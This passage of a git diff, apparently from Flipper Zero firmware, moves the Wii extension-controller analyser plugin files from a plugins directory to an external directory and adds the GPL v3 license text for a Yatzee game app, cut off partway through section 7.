a/applications/plugins/wii_ec_anal/gfx/img_6x8_4.c b/applications/external/wii_ec_anal/gfx/img_6x8_4.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_4.c rename to applications/external/wii_ec_anal/gfx/img_6x8_4.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_5.c b/applications/external/wii_ec_anal/gfx/img_6x8_5.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_5.c rename to applications/external/wii_ec_anal/gfx/img_6x8_5.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_6.c b/applications/external/wii_ec_anal/gfx/img_6x8_6.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_6.c rename to applications/external/wii_ec_anal/gfx/img_6x8_6.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_7.c b/applications/external/wii_ec_anal/gfx/img_6x8_7.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_7.c rename to applications/external/wii_ec_anal/gfx/img_6x8_7.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_8.c b/applications/external/wii_ec_anal/gfx/img_6x8_8.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_8.c rename to applications/external/wii_ec_anal/gfx/img_6x8_8.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_9.c b/applications/external/wii_ec_anal/gfx/img_6x8_9.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_9.c rename to applications/external/wii_ec_anal/gfx/img_6x8_9.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_A.c b/applications/external/wii_ec_anal/gfx/img_6x8_A.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_A.c rename to applications/external/wii_ec_anal/gfx/img_6x8_A.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_B.c b/applications/external/wii_ec_anal/gfx/img_6x8_B.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_B.c rename to applications/external/wii_ec_anal/gfx/img_6x8_B.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_C.c b/applications/external/wii_ec_anal/gfx/img_6x8_C.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_C.c rename to applications/external/wii_ec_anal/gfx/img_6x8_C.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_D.c b/applications/external/wii_ec_anal/gfx/img_6x8_D.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_D.c rename to applications/external/wii_ec_anal/gfx/img_6x8_D.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_E.c b/applications/external/wii_ec_anal/gfx/img_6x8_E.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_E.c rename to applications/external/wii_ec_anal/gfx/img_6x8_E.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_F.c b/applications/external/wii_ec_anal/gfx/img_6x8_F.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_F.c rename to applications/external/wii_ec_anal/gfx/img_6x8_F.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_G.c b/applications/external/wii_ec_anal/gfx/img_6x8_G.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_G.c rename to applications/external/wii_ec_anal/gfx/img_6x8_G.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_X.c b/applications/external/wii_ec_anal/gfx/img_6x8_X.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_X.c rename to applications/external/wii_ec_anal/gfx/img_6x8_X.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_Y.c b/applications/external/wii_ec_anal/gfx/img_6x8_Y.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_Y.c rename to applications/external/wii_ec_anal/gfx/img_6x8_Y.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_Z.c b/applications/external/wii_ec_anal/gfx/img_6x8_Z.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_Z.c rename to applications/external/wii_ec_anal/gfx/img_6x8_Z.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_d_.c b/applications/external/wii_ec_anal/gfx/img_6x8_d_.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_d_.c rename to applications/external/wii_ec_anal/gfx/img_6x8_d_.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_n_.c b/applications/external/wii_ec_anal/gfx/img_6x8_n_.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_n_.c rename to applications/external/wii_ec_anal/gfx/img_6x8_n_.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_v_.c b/applications/external/wii_ec_anal/gfx/img_6x8_v_.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_v_.c rename to applications/external/wii_ec_anal/gfx/img_6x8_v_.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_RIP.c b/applications/external/wii_ec_anal/gfx/img_RIP.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_RIP.c rename to applications/external/wii_ec_anal/gfx/img_RIP.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_Cable.c b/applications/external/wii_ec_anal/gfx/img_cc_Cable.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_Cable.c rename to applications/external/wii_ec_anal/gfx/img_cc_Cable.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_Joy.c b/applications/external/wii_ec_anal/gfx/img_cc_Joy.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_Joy.c rename to applications/external/wii_ec_anal/gfx/img_cc_Joy.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_Main.c b/applications/external/wii_ec_anal/gfx/img_cc_Main.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_Main.c rename to applications/external/wii_ec_anal/gfx/img_cc_Main.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_btn_A1.c b/applications/external/wii_ec_anal/gfx/img_cc_btn_A1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_btn_A1.c rename to applications/external/wii_ec_anal/gfx/img_cc_btn_A1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_btn_B1.c b/applications/external/wii_ec_anal/gfx/img_cc_btn_B1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_btn_B1.c rename to applications/external/wii_ec_anal/gfx/img_cc_btn_B1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_btn_X1.c b/applications/external/wii_ec_anal/gfx/img_cc_btn_X1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_btn_X1.c rename to applications/external/wii_ec_anal/gfx/img_cc_btn_X1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_btn_Y1.c b/applications/external/wii_ec_anal/gfx/img_cc_btn_Y1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_btn_Y1.c rename to applications/external/wii_ec_anal/gfx/img_cc_btn_Y1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_pad_LR1.c b/applications/external/wii_ec_anal/gfx/img_cc_pad_LR1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_pad_LR1.c rename to applications/external/wii_ec_anal/gfx/img_cc_pad_LR1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_pad_UD1.c b/applications/external/wii_ec_anal/gfx/img_cc_pad_UD1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_pad_UD1.c rename to applications/external/wii_ec_anal/gfx/img_cc_pad_UD1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_trg_L1.c b/applications/external/wii_ec_anal/gfx/img_cc_trg_L1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_trg_L1.c rename to applications/external/wii_ec_anal/gfx/img_cc_trg_L1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_trg_L2.c b/applications/external/wii_ec_anal/gfx/img_cc_trg_L2.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_trg_L2.c rename to applications/external/wii_ec_anal/gfx/img_cc_trg_L2.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_trg_L3.c b/applications/external/wii_ec_anal/gfx/img_cc_trg_L3.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_trg_L3.c rename to applications/external/wii_ec_anal/gfx/img_cc_trg_L3.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_trg_L4.c b/applications/external/wii_ec_anal/gfx/img_cc_trg_L4.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_trg_L4.c rename to applications/external/wii_ec_anal/gfx/img_cc_trg_L4.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_trg_R1.c b/applications/external/wii_ec_anal/gfx/img_cc_trg_R1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_trg_R1.c rename to applications/external/wii_ec_anal/gfx/img_cc_trg_R1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_trg_R2.c b/applications/external/wii_ec_anal/gfx/img_cc_trg_R2.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_trg_R2.c rename to applications/external/wii_ec_anal/gfx/img_cc_trg_R2.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_trg_R3.c b/applications/external/wii_ec_anal/gfx/img_cc_trg_R3.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_trg_R3.c rename to applications/external/wii_ec_anal/gfx/img_cc_trg_R3.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_trg_R4.c b/applications/external/wii_ec_anal/gfx/img_cc_trg_R4.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_trg_R4.c rename to applications/external/wii_ec_anal/gfx/img_cc_trg_R4.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_csLogo_FULL.c b/applications/external/wii_ec_anal/gfx/img_csLogo_FULL.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_csLogo_FULL.c rename to applications/external/wii_ec_anal/gfx/img_csLogo_FULL.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_csLogo_Small.c b/applications/external/wii_ec_anal/gfx/img_csLogo_Small.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_csLogo_Small.c rename to applications/external/wii_ec_anal/gfx/img_csLogo_Small.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_ecp_SCL.c b/applications/external/wii_ec_anal/gfx/img_ecp_SCL.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_ecp_SCL.c rename to applications/external/wii_ec_anal/gfx/img_ecp_SCL.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_ecp_SDA.c b/applications/external/wii_ec_anal/gfx/img_ecp_SDA.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_ecp_SDA.c rename to applications/external/wii_ec_anal/gfx/img_ecp_SDA.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_ecp_port.c b/applications/external/wii_ec_anal/gfx/img_ecp_port.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_ecp_port.c rename to applications/external/wii_ec_anal/gfx/img_ecp_port.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_key_Back.c b/applications/external/wii_ec_anal/gfx/img_key_Back.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_key_Back.c rename to applications/external/wii_ec_anal/gfx/img_key_Back.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_key_D.c b/applications/external/wii_ec_anal/gfx/img_key_D.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_key_D.c rename to applications/external/wii_ec_anal/gfx/img_key_D.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_key_L.c b/applications/external/wii_ec_anal/gfx/img_key_L.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_key_L.c rename to applications/external/wii_ec_anal/gfx/img_key_L.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_key_OK.c b/applications/external/wii_ec_anal/gfx/img_key_OK.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_key_OK.c rename to applications/external/wii_ec_anal/gfx/img_key_OK.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_key_OKi.c b/applications/external/wii_ec_anal/gfx/img_key_OKi.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_key_OKi.c rename to applications/external/wii_ec_anal/gfx/img_key_OKi.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_key_R.c b/applications/external/wii_ec_anal/gfx/img_key_R.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_key_R.c rename to applications/external/wii_ec_anal/gfx/img_key_R.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_key_U.c b/applications/external/wii_ec_anal/gfx/img_key_U.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_key_U.c rename to applications/external/wii_ec_anal/gfx/img_key_U.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_key_Ui.c b/applications/external/wii_ec_anal/gfx/img_key_Ui.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_key_Ui.c rename to applications/external/wii_ec_anal/gfx/img_key_Ui.c diff --git a/applications/plugins/wii_ec_anal/i2c_workaround.h b/applications/external/wii_ec_anal/i2c_workaround.h similarity index 100% rename from applications/plugins/wii_ec_anal/i2c_workaround.h rename to applications/external/wii_ec_anal/i2c_workaround.h diff --git a/applications/plugins/wii_ec_anal/info.sh b/applications/external/wii_ec_anal/info.sh similarity index 100% rename from applications/plugins/wii_ec_anal/info.sh rename to applications/external/wii_ec_anal/info.sh diff --git a/applications/plugins/wii_ec_anal/wii_anal.c b/applications/external/wii_ec_anal/wii_anal.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal.c rename to applications/external/wii_ec_anal/wii_anal.c diff --git a/applications/plugins/wii_ec_anal/wii_anal.h b/applications/external/wii_ec_anal/wii_anal.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal.h rename to applications/external/wii_ec_anal/wii_anal.h diff --git a/applications/plugins/wii_ec_anal/wii_anal_ec.c b/applications/external/wii_ec_anal/wii_anal_ec.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal_ec.c rename to applications/external/wii_ec_anal/wii_anal_ec.c diff --git a/applications/plugins/wii_ec_anal/wii_anal_ec.h b/applications/external/wii_ec_anal/wii_anal_ec.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal_ec.h rename to applications/external/wii_ec_anal/wii_anal_ec.h diff --git a/applications/plugins/wii_ec_anal/wii_anal_keys.c b/applications/external/wii_ec_anal/wii_anal_keys.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal_keys.c rename to applications/external/wii_ec_anal/wii_anal_keys.c diff --git a/applications/plugins/wii_ec_anal/wii_anal_keys.h b/applications/external/wii_ec_anal/wii_anal_keys.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal_keys.h rename to applications/external/wii_ec_anal/wii_anal_keys.h diff --git a/applications/plugins/wii_ec_anal/wii_anal_lcd.c b/applications/external/wii_ec_anal/wii_anal_lcd.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal_lcd.c rename to applications/external/wii_ec_anal/wii_anal_lcd.c diff --git a/applications/plugins/wii_ec_anal/wii_anal_lcd.h b/applications/external/wii_ec_anal/wii_anal_lcd.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal_lcd.h rename to applications/external/wii_ec_anal/wii_anal_lcd.h diff --git a/applications/plugins/wii_ec_anal/wii_anal_ver.h b/applications/external/wii_ec_anal/wii_anal_ver.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal_ver.h rename to applications/external/wii_ec_anal/wii_anal_ver.h diff --git a/applications/plugins/wii_ec_anal/wii_ec.c b/applications/external/wii_ec_anal/wii_ec.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec.c rename to applications/external/wii_ec_anal/wii_ec.c diff --git a/applications/plugins/wii_ec_anal/wii_ec.h b/applications/external/wii_ec_anal/wii_ec.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec.h rename to applications/external/wii_ec_anal/wii_ec.h diff --git a/applications/plugins/wii_ec_anal/wii_ec_classic.c b/applications/external/wii_ec_anal/wii_ec_classic.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec_classic.c rename to applications/external/wii_ec_anal/wii_ec_classic.c diff --git a/applications/plugins/wii_ec_anal/wii_ec_classic.h b/applications/external/wii_ec_anal/wii_ec_classic.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec_classic.h rename to applications/external/wii_ec_anal/wii_ec_classic.h diff --git a/applications/plugins/wii_ec_anal/wii_ec_macros.h b/applications/external/wii_ec_anal/wii_ec_macros.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec_macros.h rename to applications/external/wii_ec_anal/wii_ec_macros.h diff --git a/applications/plugins/wii_ec_anal/wii_ec_nunchuck.c b/applications/external/wii_ec_anal/wii_ec_nunchuck.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec_nunchuck.c rename to applications/external/wii_ec_anal/wii_ec_nunchuck.c diff --git a/applications/plugins/wii_ec_anal/wii_ec_nunchuck.h b/applications/external/wii_ec_anal/wii_ec_nunchuck.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec_nunchuck.h rename to applications/external/wii_ec_anal/wii_ec_nunchuck.h diff --git a/applications/plugins/wii_ec_anal/wii_ec_udraw.c b/applications/external/wii_ec_anal/wii_ec_udraw.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec_udraw.c rename to applications/external/wii_ec_anal/wii_ec_udraw.c diff --git a/applications/plugins/wii_ec_anal/wii_ec_udraw.h b/applications/external/wii_ec_anal/wii_ec_udraw.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec_udraw.h rename to applications/external/wii_ec_anal/wii_ec_udraw.h diff --git a/applications/plugins/wii_ec_anal/wii_i2c.c b/applications/external/wii_ec_anal/wii_i2c.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_i2c.c rename to applications/external/wii_ec_anal/wii_i2c.c diff --git a/applications/plugins/wii_ec_anal/wii_i2c.h b/applications/external/wii_ec_anal/wii_i2c.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_i2c.h rename to applications/external/wii_ec_anal/wii_i2c.h diff --git a/applications/external/yatzee/LICENSE b/applications/external/yatzee/LICENSE new file mode 100644 index 000000000..f288702d2 --- /dev/null +++ b/applications/external/yatzee/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) 